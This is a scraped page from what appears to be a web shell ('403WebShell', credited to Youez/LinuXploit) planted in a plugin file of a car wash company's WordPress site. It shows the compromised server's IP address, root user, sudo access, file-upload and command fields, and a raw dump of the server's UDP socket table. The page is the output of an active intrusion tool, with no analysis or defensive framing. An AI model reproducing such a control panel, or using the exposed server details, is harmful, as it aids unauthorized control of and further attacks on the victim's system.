Warning: chmod(): Operation not permitted in /var/www/html/glamautowash.com/wp-content/plugins/translatepress-developer/index.php on line 8
403WebShell
403Webshell
Server IP : 178.128.116.179  /  Your IP : 216.73.216.206
Web Server : nginx/1.30.3
System : Linux glamautowash 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/66/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/66/net/udp
   sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode ref pointer drops            
    4: B37480B2:91DB 0343CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46199598 2 0000000000000000 0      
    5: B37480B2:B7DC 0243CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46199606 2 0000000000000000 0      
    6: B37480B2:ABDD 0243CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46200527 2 0000000000000000 0      
   19: B37480B2:C9EA 0343CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46199607 2 0000000000000000 0      
   37: B37480B2:D5FC 0343CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46200245 2 0000000000000000 0      
   47: B37480B2:8806 0243CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46199886 2 0000000000000000 0      
   57: B37480B2:DC10 0343CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46200518 2 0000000000000000 0      
   83: B37480B2:C22A 0243CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46199614 2 0000000000000000 0      
   84: B37480B2:CE2B 0243CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46200263 2 0000000000000000 0      
   84: B37480B2:B02B 0343CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46199873 2 0000000000000000 0      
   90: B37480B2:8E31 0243CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46199623 2 0000000000000000 0      
   94: B37480B2:EA35 0243CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46200529 2 0000000000000000 0      
   94: 3600007F:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000   991        0 9918731 2 0000000000000000 0       
   94: 3500007F:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000   991        0 9918729 2 0000000000000000 0       
  100: B37480B2:883B 0243CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46200255 2 0000000000000000 0      
  108: B37480B2:B843 0243CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46199874 2 0000000000000000 0      
  110: B37480B2:D445 0243CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46200536 2 0000000000000000 0      
  110: B37480B2:DA45 0243CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46199896 2 0000000000000000 0      
  112: B37480B2:C447 0243CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46199621 2 0000000000000000 0      
  115: B37480B2:D04A 0343CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46200526 2 0000000000000000 0      
  116: B37480B2:BC4B 0243CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46199604 2 0000000000000000 0      
  121: B37480B2:9850 0243CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46199901 2 0000000000000000 0      
  130: B37480B2:B459 0243CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46199616 2 0000000000000000 0      
  131: B37480B2:945A 0243CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46199884 2 0000000000000000 0      
  137: B37480B2:A860 0343CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46199613 2 0000000000000000 0      
  156: B37480B2:AC73 0343CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46200537 2 0000000000000000 0      
  171: B37480B2:B882 0343CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46200262 2 0000000000000000 0      
  176: B37480B2:9A87 0243CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46200517 2 0000000000000000 0      
  177: B37480B2:A288 0343CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46200254 2 0000000000000000 0      
  184: B37480B2:B88F 0343CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46200535 2 0000000000000000 0      
  186: B37480B2:BC91 0343CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46200273 2 0000000000000000 0      
  202: B37480B2:A8A1 0243CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46200510 2 0000000000000000 0      
  206: B37480B2:9AA5 0343CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46200509 2 0000000000000000 0      
  221: B37480B2:B8B4 0343CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46199875 2 0000000000000000 0      
  224: B37480B2:90B7 0243CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46199599 2 0000000000000000 0      
  226: B37480B2:A4B9 0343CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46199605 2 0000000000000000 0      
  250: B37480B2:C2D1 0243CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46200519 2 0000000000000000 0      
  260: B37480B2:8EDB 0243CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46200512 2 0000000000000000 0      
  293: B37480B2:C6FC 0243CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46199903 2 0000000000000000 0      
  295: B37480B2:B4FE 0343CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46199622 2 0000000000000000 0      
  304: B37480B2:D107 0243CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46200270 2 0000000000000000 0      
  306: B37480B2:8509 0343CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46200520 2 0000000000000000 0      
  309: B37480B2:810C 0343CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46200511 2 0000000000000000 0      
  315: B37480B2:9512 0343CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46200247 2 0000000000000000 0      
  328: B37480B2:D91F 0243CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46200246 2 0000000000000000 0      
  340: B37480B2:A32B 0243CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46199597 2 0000000000000000 0      
  346: B37480B2:EB31 0343CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46199887 2 0000000000000000 0      
  350: B37480B2:C135 0343CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46199624 2 0000000000000000 0      
  362: B37480B2:9741 0243CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46200248 2 0000000000000000 0      
  364: B37480B2:8F43 0343CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46200528 2 0000000000000000 0      
  375: B37480B2:E14E 0343CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46199885 2 0000000000000000 0      
  378: B37480B2:A151 0343CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46200264 2 0000000000000000 0      
  382: B37480B2:AB55 0343CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46200256 2 0000000000000000 0      
  407: B37480B2:8F6E 0243CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46199876 2 0000000000000000 0      
  413: B37480B2:A574 0343CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46199902 2 0000000000000000 0      
  421: B37480B2:C97C 0243CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46200265 2 0000000000000000 0      
  423: B37480B2:D37E 0243CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46200534 2 0000000000000000 0      
  424: B37480B2:B17F 0243CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46199894 2 0000000000000000 0      
  434: B37480B2:CD89 0343CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46199905 2 0000000000000000 0      
  443: B37480B2:BF92 0243CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46200253 2 0000000000000000 0      
  449: B37480B2:E398 0343CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46199893 2 0000000000000000 0      
  484: 00000000:01BB 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 9922904 2 0000000000000000 0       
  491: B37480B2:ABC2 0343CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46199596 2 0000000000000000 0      
  492: B37480B2:8BC3 0243CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46200272 2 0000000000000000 0      
  492: B37480B2:C7C3 0343CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46200271 2 0000000000000000 0      
  492: B37480B2:97C3 0343CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46199895 2 0000000000000000 0      
  502: B37480B2:89CD 0343CF43:0035 01 00000000:00000000 00:00000000 00000000   991        0 46199615 2 0000000000000000 0      

Youez - 2016 - github.com/yon3zu
LinuXploit